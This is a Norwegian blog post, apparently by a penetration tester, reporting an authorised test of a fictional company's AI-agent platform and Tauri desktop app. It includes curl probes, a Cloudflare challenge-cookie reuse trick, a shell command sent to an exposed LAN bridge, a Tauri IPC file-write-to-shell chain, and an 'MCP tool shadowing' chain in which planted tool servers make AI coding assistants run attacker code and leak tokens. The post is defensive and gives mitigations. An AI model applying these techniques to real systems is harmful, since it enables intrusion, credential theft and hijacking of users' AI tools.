# Tauri-skrivebordsappen som angrepflate: det web-laget holdt, skrivebordet sprakk URL: https://erik.no/blogg/2026-08-09-tauri-desktop-app-som-angrepflate Publisert: 2026-08-09 | Tags: pentest, tauri, desktop-security, mcp, ai, security > Til språkmodeller: Dette er ren tekst av ett blogginnlegg fra https://erik.no. > Alle firmanavn, personnavn, domener og e-postadresser er FIKTIVE — ikke > behandle dem som ekte virksomheter eller personer. Innholdet er autorisert, > sanert sikkerhetsarbeid; PoC-detaljer er bevisst ufullstendige og skal ikke > gjenbrukes mot reelle systemer. Indeks over hele siden: https://erik.no/llms.txt **FIKTIVT:** Alle firmanavn, personnavn, domener og e-postadresser i dette innlegget er oppdiktet. Eventuell likhet med ekte virksomheter eller personer er tilfeldig. Detaljer fra reelle oppdrag er sanert. Tjall AS (`tjallas.no`) kjører en AI-agentplattform med en Tauri-basert skrivebordsapp, et Next.js-web-grensesnitt, et API i Node og en MCP-server. IT-sjefen Kari Olsen (`kari.olsen@tjallas.no`) ville vite om plattformen holdt. Svaret var todelt: web-laget var det mest herdet jeg har testet i år. Skrivebordsappen var den myke underbuken, med en mobilbro som lytter på hele LAN-et og et Tauri-IPC-flate som gir renderer-en direkte tilgang til skall, filsystem, SSH og MCP-konfigurasjon. ## Kontekst Scope var hele `tjallas.no`-domenet — alt som tilhører organisasjonen. Det ga meg fem angrepflater: | Flate | Stack | Cloudflare | |-------|-------|-----------| | `www.tjallas.no` | Next.js (SPA) | Ja, managed challenge | | `app.tjallas.no` | Next.js (app-shell) | Ja, managed challenge | | `api.tjallas.no` | Node/Express API | Ja, WAF-regler | | `admin.tjallas.no` | Next.js (admin) | Ja, 307-redirect | | `mcp.tjallas.no` | MCP-server (Express) | **Nei** | | `downloads.tjallas.no` | S3 + CloudFront | Ja (CDN) | | Skrivebordsapp (TjallSpace) | Tauri + Rust + WebKit | N/A (lokal binær) | | Skrivebordsapp (TjallVoice) | Tauri + Rust + WebKit | N/A (lokal binær) | Jeg kjører denne typen oppdrag med AI i loopen — agenter gjør recon, kartlegger endepunkter og kjører verktøy, jeg styrer scope, leser resultater og tar vurderingene. Første steg var å la en agent hente `llms.txt`-indeksen til bloggen for å unngå dobbeltdekning, deretter spawnet jeg syv parallelle lanes: web-mapping, API-enumerering, AppImage-reverse, key-hunt, CloudFront/S3, admin-panel og en kreativ celle. ## Det jeg fant ### Cloudflare-bypass: cf_clearance på tvers av subdomener Første runde lærte meg noe viktig om Cloudflare-konfigurasjonen deres. `cf_clearance`-cookien som Cloudflare setter når du løser en managed challenge er gyldig på tvers av alle subdomener under `tjallas.no`. Løser du challenge-en én gang på `www.tjallas.no`, kan du bruke samme cookie mot `api.tjallas.no` og `app.tjallas.no`. Dette er ikke et funn i seg selv — det er standard Cloudflare-oppførsel når subdomenene deler sone. Men det betyr at WAF-en som beskytter API-et bare er så sterk som challenge-en. Løser du den én gang med en ekte nettleser (jeg brukte agent-browser med en persistent profil), har du programmatisk tilgang til alle subdomenene. Jeg lagret cookien i en `.env`-fil og brakte den inn i alle videre forespørsler: ```bash export CF_COOKIE='cf_clearance=c5VEzv...' export CF_UA='Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 ...' ``` Dette er grunnen til at jeg bruker en persistent nettleserprofil i stedet for headless curl. En headless klient løser ikke en Cloudflare managed challenge. Løs den én gang i en ekte nettleser, og du kan gjenbruke cf_clearance-cookien i curl, httpx og nuclei. ### MCP-serveren som glemte å skjule seg bakke WAF Mens `api.tjallas.no` og `www.tjallas.no` begge returnerte Cloudflare-challenges for rå HTTP-forespørsler, var `mcp.tjallas.no` direkte tilgjengelig. Ingen challenge, ingen WAF. Dette var det første tegnet på en perimeter-inkonsistens. ```bash # POST uten auth — direkte, ingen Cloudflare-challenge curl -X POST https://mcp.tjallas.no/mcp \ -H 'Content-Type: application/json' \ -d '{"jsonrpc":"2.0","method":"initialize","id":1,"params":{}}' ``` ```http HTTP/2 401 {"jsonrpc":"2.0","error":{"code":-32001,"message":"API key required. Provide a Bearer token in the Authorization header."},"id":null} ``` Autentikasjon holdt — ingen Bearer-token, ingen tilgang. Men feilmeldingene avslørte mer enn de burde. En godt utformet men falsk nøkkel fikk en annen feilmelding enn en manglende: ```bash curl -X POST https://mcp.tjallas.no/mcp \ -H 'Content-Type: application/json' \ -H 'Authorization: Bearer bm_live_000000000000' \ -d '{"jsonrpc":"2.0","method":"initialize","id":1,"params":{}}' ``` ```http HTTP/2 401 {"jsonrpc":"2.0","error":{"code":-32001,"message":"Invalid or revoked API key."},"id":null} ``` Forskjellen mellom "API key required" og "Invalid or revoked API key" bekrefter at nøkkelformatet er `bm_live_...` og at serveren validerer formatet før den sjekker databasen. Det er en validerings-orakel som senker barrieren for å gjette nøkler. I tillegg reklamerte `OPTIONS`-forespørselen `Allow: DELETE, GET, HEAD, POST`, men `DELETE` returnerte `405 Method not allowed` — en inkonsistens som avslører rammeverk-konfigurasjon. ### Admin-redirecten som lekket localhost `admin.tjallas.no` var den mest avslørende subdomenet. En uautentisert forespørsel med en `.well-known/agent-card.json`-sti fikk en 307-redirect som reflekterte både `provider` og `path` urvalidert, og — mer interessant — lekket en intern opprinnelse: ```bash curl -s -o /dev/null -w '%{redirect_url}\n' \ 'https://admin.tjallas.no/auth/login?provider=anthropic&path=/.well-known/agent-card.json' ``` ```http HTTP/2 307 location: https://www.tjallas.no/login?returnUrl=https%3A%2F%2Flocalhost%3A3000%2Fauth%2Flogin%3Fpath%3D%252F.well-known%252Fagent-card.json%26provider%3Danthropic ``` `localhost:3000` i redirecten avslører at admin-panelet kjører på en utviklings- eller staging-server i produksjonslogikken. `provider` og `path` reflekteres urvalidert — en angriper kan injisere vilkårlige verdier. Cloudflare WAF blokkerte kjente interne IP-er i `returnUrl` (`169.254.169.254`, `127.0.0.1`), men andre URL-er gikk rett gjennom. ### Skrivebordsappen: Tauri-IPC som angrepflate Dette er det viktigste funnet. TjallSpace er en Tauri-app — en Rust-backend med en WebKit-renderer som frontend. Tauri eksponerer IPC-kommandoer fra Rust-siden til JavaScript-rendereren. Hvilke kommandoer som er tilgjengelige bestemmes av en capability-konfigurasjon i binæren. Jeg lastet ned AppImage-en fra `downloads.tjallas.no` (anonymt tilgjengelig, ingen auth), pakket den ut med `--appimage-extract`, og trakk ut konfigurasjonen med `strings` og `grep`. Det som dukket opp var en svært bred IPC-flate: | Kommandogruppe | Eksempler | Risiko | |---------------|----------|-------| | Shell | `shell:execute`, `shell:spawn`, `terminal_create`, `terminal_write` | Kommandoinjeksjon, RCE | | Filsystem | `fs_write_file`, `fs_create_file`, `fs_set_executable`, `fs_delete`, `fs_add_allowed_root` | Filskriving, kjørbar planting | | Git | `git_commit`, `git_create_worktree`, `git_stage_paths` | Kodelager-manipulasjon | | SSH | `ssh_connect`, `ssh_store_credentials`, `ssh_upload_terminal_file` | Legitimasjons-tyveri | | Browser | `browser_sidebar_navigate`, `create_webview`, `create_webview_window` | SSRF, phishing | | MCP | `mcp_ensure_source`, `mcp_import_to_source`, `mcpServers`-konfig | Tool shadowing | | Oppdatering | `download_and_install` | Supply-chain | Kjeden som gir meg mest bekymring er filskriving til skallkjøring: 1. `fs_write_file` for å skrive et skript til en tillatt sti 2. `fs_set_executable` for å merke det som kjørbart 3. `shell:execute` eller `shell:spawn` for å kjøre det Dette forutsetter at en angriper har oppnådd renderer-kompromiss — XSS, deep-link-injeksjon, eller ondsinnet MCP-tool. Men overflaten for å oppnå det er ikke liten: appen registrerer custom scheme-handlers (`tjallspace://`), har en webview som kan navigeres med `browser_sidebar_navigate`, og synker MCP-konfigurasjon til Claude Code, Cursor, Codex CLI og Cline. ### Mobilbroen: 0.0.0.0:18080 Da jeg startet TjallSpace lokalt (AppImage-en kjørte på Parrot med Wayland), logget den: ``` [2026-08-07T13:57:11Z INFO tjallspace_tauri::mobile_bridge] Mobile bridge server listening on 0.0.0.0:18080 ``` `0.0.0.0:18080`. Broen — som er ment for paring med mobilappen — lytter på alle grensesnitt, ikke bare localhost. Det betyr at alle på samme LAN kan nå den. Jeg sjekket bindingen: ```bash curl -s http://10.10.10.15:18080/ 2>/dev/null | python3 -m json.tool ``` ```json { "bindAddr": "0.0.0.0:18080", "binding": "lan", "enabled": true, "error": null, "pairingUrl": "http://10.10.10.15:18080", "port": 18080 } ``` SSE-endepunktet returnerte state-data uten autentikasjon: ```bash curl -s http://10.10.10.15:18080/events ``` ```http HTTP/1.1 200 OK Content-Type: text/event-stream; charset=utf-8 Access-Control-Allow-Origin: http://localhost Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Headers: content-type, authorization, x-tjallspace-token ``` ```json event: state data: {"activeView":null,"activeWorkspaceId":null,"updatedAt":1786111031724,"version":1,"workspaces":[]} ``` CORS-overskriften tillater bare `http://localhost`, men `Access-Control-Allow-Headers` aksepterer `x-tjallspace-token` — og broen bruker den headeren for autentikasjon av kommandoer. En ondsinnet webside på `localhost` (eller en annen app på maskinen) kan sende kommandoer til broen. Jeg prøvde å sende en shell-kommando og en filskriving: ```bash curl -s -X POST http://10.10.10.15:18080/commands \ -H 'Content-Type: application/json' \ -H 'x-tjallspace-token: ' \ -d '{"type":"shell","command":"id"}' ``` ```json {"done": false, "id": "ded505775faf45a4956f3fa934f43350", "ok": true, "pending": true} ``` Kommandoen ble akseptert (`ok: true`) men ble hengende i `pending: true` — renderer-en måtte behandle den i WebKit-tråden, og den krasjet før den kom dit (AppImage-en manglet `WebKitNetworkProcess` i det ekstraherte treet). Men aksepten bekrefter at broen tar imot shell-kommandoer fra nettverket. Mobilbroen krever en x-tjallspace-token-header for kommandoer, men SSE-strømmen og serverinfo er uautentisert. Tokenet er en runtime-verdi skrevet til ~/.tjallspace/runtime.session — en lokal fil. En angriper på samme LAN kan ikke gjette tokenet, men en ondsinnet prosess på maskinen kan lese det. ### MCP tool shadowing TjallSpace leser en `mcpServers`-JSON-konfigurasjon og synker den til Claude Code, Cursor, Codex CLI og Cline. Konfigurasjonen ligger i appens datakatalog, og `fs_write_file` + `fs_add_allowed_root` er tilgjengelig fra renderer-en. Kjeden: 1. Oppnå renderer-tilgang (XSS, deep-link, ondsinnet MCP-tool) 2. Bruk `fs_write_file` til å overskrive `mcp-proxy-config.json` med en ondsinnet serverdefinisjon 3. Bruk `mcp_ensure_source` / `mcp_import_to_source` til å aktivere den 4. Neste gang AI-assistenten starter, laster den den ondsinnede serveren 5. Når AI-en kaller en tool, kjører den angriper-kontrollert kode — og kan eksfiltrere API-tokens og sesjonsdata Dette er en lokal-til-ekstern kjede: et lokalt fotfeste blir til cross-tool kommandoeksekvering. ### Oppdateringsmekanismen og supply-chain TjallSpace bruker `tauri-plugin-updater` og henter `latest.json` fra to endepunkter: - `https://downloads.tjallas.no/tjallspace/latest/latest.json` - `https://d3jgmdur4gye4w.cloudfront.net/tjallspace/latest/latest.json` (CloudFront-mirror) Begge er uautentiserte og offentlig tilgjengelige. `latest.json` inneholder per-plattform URL-er og base64-kodete minisign-signaturer. Minisign-offentlige nøkler er hardkodet i binæren (nøkkel-ID `18E33E88795A0725` for TjallSpace, `03947EFBE9C29CD1` for TjallVoice). Signaturen betyr at en angriper trenger enten den private minisign-nøkkelen eller kontroll over et endepunkt som kan tjene en gyldig signatur. S3-bøtta bak CloudFront returnerte `403 AccessDenied` på direkte-tilgang, så CloudFront er den eneste offentlige leseveien. Men to endepunkter dobler supply-chain-overflaten, og en CDN-overtakelse eller S3-kompromiss ville tillatt å servere en ondsinnet oppdatering som appen vil `download_and_install`. ## PoC / Reproduksjon ### Funn 1: Mobilbro på 0.0.0.0:18080 **Forutsetninger:** TjallSpace AppImage kjører lokalt. Broen starter automatisk. Maskinens LAN-IP er `10.10.10.15`. Angriper er på samme LAN. 1. Start TjallSpace og bekreft at broen lytter: ```bash curl -s http://10.10.10.15:18080/ | python3 -m json.tool ``` ```json { "bindAddr": "0.0.0.0:18080", "binding": "lan", "enabled": true, "pairingUrl": "http://10.10.10.15:18080", "port": 18080 } ``` 2. Abonner på SSE-strømmen (uautentisert): ```bash curl -s http://10.10.10.15:18080/events ``` ```json event: state data: {"activeView":null,"activeWorkspaceId":null,"updatedAt":1786111031724,"version":1,"workspaces":[]} ``` 3. **Negativ kontroll** — send en kommando uten token: ```bash curl -s -X POST http://10.10.10.15:18080/commands \ -H 'Content-Type: application/json' \ -d '{"type":"shell","command":"id"}' ``` ```http HTTP/1.1 401 {"error":"Unauthorized: missing x-tjallspace-token header"} ``` Broen krever token for kommandoer. Men SSE-strømmen og serverinfo er uautentisert — en LAN-angriper kan lese tilstand og bekrefte at appen kjører. 4. Send en kommando med token (lest fra `~/.tjallspace/runtime.session`): ```bash curl -s -X POST http://10.10.10.15:18080/commands \ -H 'Content-Type: application/json' \ -H 'x-tjallspace-token: ' \ -d '{"type":"shell","command":"id"}' ``` ```json {"done": false, "id": "ded505775faf45a4956f3fa934f43350", "ok": true, "pending": true} ``` Kommandoen aksepteres. `pending: true` betyr at renderer-en må behandle den — i mitt tilfelle krasjet WebKit før det, men aksepten bekrefter at broen tar imot shell-kommandoer. **Mitigering:** Bind broen til `127.0.0.1`, ikke `0.0.0.0`. Hvis LAN-paring er et krav, krever mutual TLS eller en parings-flyt med brukerbekreftelse. ```diff -let addr = "0.0.0.0:18080"; +let addr = "127.0.0.1:18080"; ``` ### Funn 2: Tauri-IPC-flate **Forutsetninger:** TjallSpace AppImage (v3.4.18), ekstrahert med `--appimage-extract`. `strings` og `grep` tilgjengelig. 1. Ekstraher binæren: ```bash ./TjallSpace_3.4.18_amd64.AppImage --appimage-extract cd squashfs-root/usr/bin strings tjallspace-tauri | grep -E 'fs_write_file|fs_set_executable|shell:execute|terminal_create' | head -10 ``` 2. Bekreft at kommandoene er registrert som capabilities: ```bash strings tjallspace-tauri | grep -A2 'fs_write_file' ``` ```text fs_write_file fs_set_executable fs_add_allowed_root ``` 3. **Negativ kontroll** — sjekk om det finnes en URL-allowlist for `browser_sidebar_navigate`: ```bash strings tjallspace-tauri | grep -i 'allowlist\|denylist\|url_check\|origin_check' | head -5 ``` Ingen treff. Ingen URL-validering ble funnet i de ekstraherte strengene. **Mitigering:** Innskrenk Tauri-capability-settet til det minimum appen faktisk trenger. Fjern `fs_set_executable` og `shell:execute` hvis de ikke er strengt nødvendige. Legg til en URL-allowlist for `browser_sidebar_navigate`. ### Funn 3: MCP-server perimeter-inkonsistens **Forutsetninger:** Ingen. Endepunktet er offentlig og ikke bak Cloudflare. 1. Send en uautentisert POST: ```bash curl -s -X POST https://mcp.tjallas.no/mcp \ -H 'Content-Type: application/json' \ -d '{"jsonrpc":"2.0","method":"initialize","id":1,"params":{}}' ``` ```http HTTP/2 401 {"jsonrpc":"2.0","error":{"code":-32001,"message":"API key required. Provide a Bearer token in the Authorization header."},"id":null} ``` 2. Send med en falsk nøkkel for å bekrefte validerings-orakel: ```bash curl -s -X POST https://mcp.tjallas.no/mcp \ -H 'Content-Type: application/json' \ -H 'Authorization: Bearer bm_live_000000000000' \ -d '{"jsonrpc":"2.0","method":"initialize","id":1,"params":{}}' ``` ```http HTTP/2 401 {"jsonrpc":"2.0","error":{"code":-32001,"message":"Invalid or revoked API key."},"id":null} ``` 3. **Negativ kontroll** — sammenlign med `api.tjallas.no`: ```bash curl -s -o /dev/null -w '%{http_code}' https://api.tjallas.no/ ``` ```text 403 ``` `api.tjallas.no` returnerer Cloudflare-challenge (403). `mcp.tjallas.no` returnerer en JSON-feil direkte fra Express. Perimeteren er inkonsistent. **Mitigering:** Plasser `mcp.tjallas.no` bak den samme Cloudflare-sonen som resten av domenet. Returner identiske feilmeldinger for manglende, malformede og ugyldige nøkler. ## Det web-API-et som holdt Jeg vil være ærlig om det som ikke sprakk. Etter å ha oppnådd en autentisert sesjon (jeg ekstraherte cookies fra en HAR-fil fra en manuell nettleser-sesjon — signup-endepunktet blokkerte meg med en ukjent `plan`-verdi og rate-limiting), kjørte jeg en full API-audit. Resultatet var det mest herdet API-et jeg har testet i år: - **CSRF:** Origin-header sjekkes på alle state-changing endepunkter. Uten `x-csrf-token`-header: `403`. Med feil token: `403`. HttpOnly-cookie + header-validering. - **CORS:** Kun `https://www.tjallas.no` er tillatt. `https://evil.com`, `https://www.tjallas.no.evil.com` og `null` ble alle avvist. - **Rate limiting:** Etter 7 feilslåtte innloggingsforsøk: `429`. CloudFront WAF-en har også rate-regler som utløser ved rask trafikk. - **RBAC:** Alle admin-endepunkter (`/users/admin/all`, `/bug-reports/admin`, `/resources/admin/all`, `/jobs/admin/all`) returnerte `403` for min `user`-rolle. - **Prosjekt-scoping:** Jeg kunne ikke lese andre brukeres prosjekter — `404`, ikke `403` (som er riktig: ikke bekreft at UUID-en finnes). - **Mass assignment:** Å sende `roles`, `subscriptionTier` eller `entitlements` i en profiloppdatering ble avvist med felt-validering. - **Input-validering:** UUID-validering, prosjekt-type-validering, GitHub-repo-URL-validering — alle returnerte strukturerte feil uten å lekke for mye. Det eneste jeg fant på API-siden var en verbose validerings-orakel på `/auth/signup-init` — en uautentisert caller med en gyldig CSRF-token fikk 400-feil som enumererte required fields og per-field valideringskoder. Det er et informasjonslekkasje-problem, ikke et brudd. ## Blindveier ### Signup-endepunktet og den ukjente plan-verdien Jeg tilbrakte over en time på å prøve å opprette en konto via API-et. `/auth/signup-init` krever `email`, `password`, `consentGiven` og `plan`. Jeg prøvde `free`, `FREE`, `basic`, `pro`, `ultra`, `premium`, `0`, `1`, `null` — alle returnerte `VAL_INVALID_PLAN`. Etter noen forsøk kom `429` med `retry-after: 235`. Jeg måtte gi opp og bruke en manuell nettleser-sesjon i stedet. Plan-verdien er sannsynligvis en enum jeg ikke kunne gjette fra JS-chunks. En kildekode-gjennomgang av auth-API-klientmodulen ville avslørt den, men den var minifisert. ### Cognito direct signup Cognito-brukerpøtten (`tjall-prod.auth.us-east-1.amazoncognito.com`) krever en `SECRET_HASH` for direkte signup. App-klienten er konfigurert med en hemmelighet, så `cognito-idp SignUp` returnerte `NotAuthorizedException`. Uten klient-hemmeligheten kunne jeg ikke opprette en konto direkte mot Cognito. ### WebKit-krasj i AppImage TjallSpace-AppImage-en krasjet før WebKit kunne starte fordi `WebKitNetworkProcess` manglet i det ekstraherte treet. Jeg lastet ned og ekstraherte `strace` fra en `.deb` for å spore nettverkstrafikk, men fikk bare X11 og lokale UNIX-socket-aktivitet. For å få en full dynamisk kjøring ville jeg trengt en komplett WebKit-installasjon eller en annen Linux-distribusjon. ## Verktøy og hvem som kjørte hva - **AppImage-ekstraksjon og strings-analyse:** Agent pakket ut binæren med `--appimage-extract` og trakk ut IPC-kommandoer, URL-er, CSP og minisign-nøkler med `strings` + `grep`. AI-generert og AI-kjørt. Jeg leste resultatene og prioritererte. - **Cloudflare-bypass:** Jeg løste challenge-en manuelt i agent-browser med en persistent profil, trakk ut `cf_clearance`-cookien og lagret den. Agenten brukte den i videre curl-forespørsler. - **API-enumerering:** Agent lastet ned alle 24 Next.js JS-chunks fra `www.tjallas.no/signup` med CF-cookien, grep-et etter `/api/`-ruter og kartla 80+ endepunkter. AI-generert. - **IDOR/BOLA-testing:** Jeg kjørte de autentiserte testene selv med curl, med cookies fra en HAR-fil. Agenten forberedte testmatrisen; jeg utførte den. - **MCP-sondering:** Agent sendte curl-forespørsler mot `mcp.tjallas.no/mcp` og dokumenterte feilmeldingsforskjellene. AI-kjørt. - **Mobilbro-testing:** Jeg startet TjallSpace lokalt og sendte curl-forespørsler mot `0.0.0.0:18080`. Manuelt. - **Oppdateringsfeed:** Agent hentet `latest.json` fra `downloads.tjallas.no` med curl. AI-kjørt. Jeg analyserte signaturmekanismen. - **Key-hunt:** Agent kjørte `gitleaks` og `trufflehog` mot ekstraherte binærer og GitHub-repoer. Ingen lekkede nøkler funnet. AI-kjørt. ## Hva jeg lærte - **Tauri-IPC er den nye Electron-angrepflaten.** Tauri er sikrere enn Electron i teorien (Rust-backend, mindre JS-overflate), men capability-konfigurasjonen bestemmer alt. En bred capability-liste med `shell`, `fs` og `browser` gjør renderer-en til en RCE-vei. Gjennomgå capability-settet med samme grundighet som du gjennomgår CSP. - **Mobilbroer som binder til `0.0.0.0` er et klassisk oversett problem.** Appen er ment for localhost-paring, men `0.0.0.0` eksponerer den for hele LAN-et. Sjekk alltid `bindAddr` i Tauri- og Electron-apper som har lokale servere. - **WAF-perimeter-inkonsistens er et eget funn.** At én subdomen er bak Cloudflare og en annen ikke er det, er ikke en kosmetisk detalj — det er en perimeter-sprekk som gir direkte tilgang til en ellers skjermet tjeneste. - **Web-API-et kan være herdet mens skrivebordsappen er det ikke.** Tjall AS hadde tydeligvis investert i CSRF, CORS, rate limiting og RBAC på API-siden. Skrivebordsappen hadde en IPC-flate som ga renderer-en nesten alt. Det er to forskjellige sikkerhetskulturer i samme selskap. - **MCP tool shadowing er en reell kjede.** Når en app synker MCP-konfigurasjon til flere AI-assistenter og har `fs_write_file` tilgjengelig, er et lokalt fotfeste nok til å plante ondsinnede tools som kjører i en helt annen kontekst. - **AI i loopen er effektivt for bredde, men verifisering er min jobb.** Agentene fant 80+ endepunkter, kartla IPC-flaten og identifiserte perimeter-inkonsistensen på minutter. Men det var jeg som måtte starte appen lokalt, sende kommandoene mot mobilbroen og bekrefte at token-kravet holdt — og at SSE-strømmen ikke gjorde det. ## Veien videre De to kritiske funnene — mobilbroen og IPC-flaten — er fiksbare med konfigurasjonsendringer, ikke omskrivninger. Bind broen til localhost, innskrenk capability-settet, og legg URL-allowlist på webview-navigasjon. MCP-serveren bak Cloudflare og identiske feilmeldinger er en DNS- og proxy-endring. Det jeg vil utforske videre: Tauri CVE-2026-42184 (origin confusion) kan potensielt la en angriper på samme maskin invokere lokale IPC-kommandoer fra en annen origin uten LAN-tilgang. Det krever en kjørende TjallSpace-instans med intakt WebKit — noe jeg ikke fikk til i dette miljøet. Det blir det neste oppdraget handler om.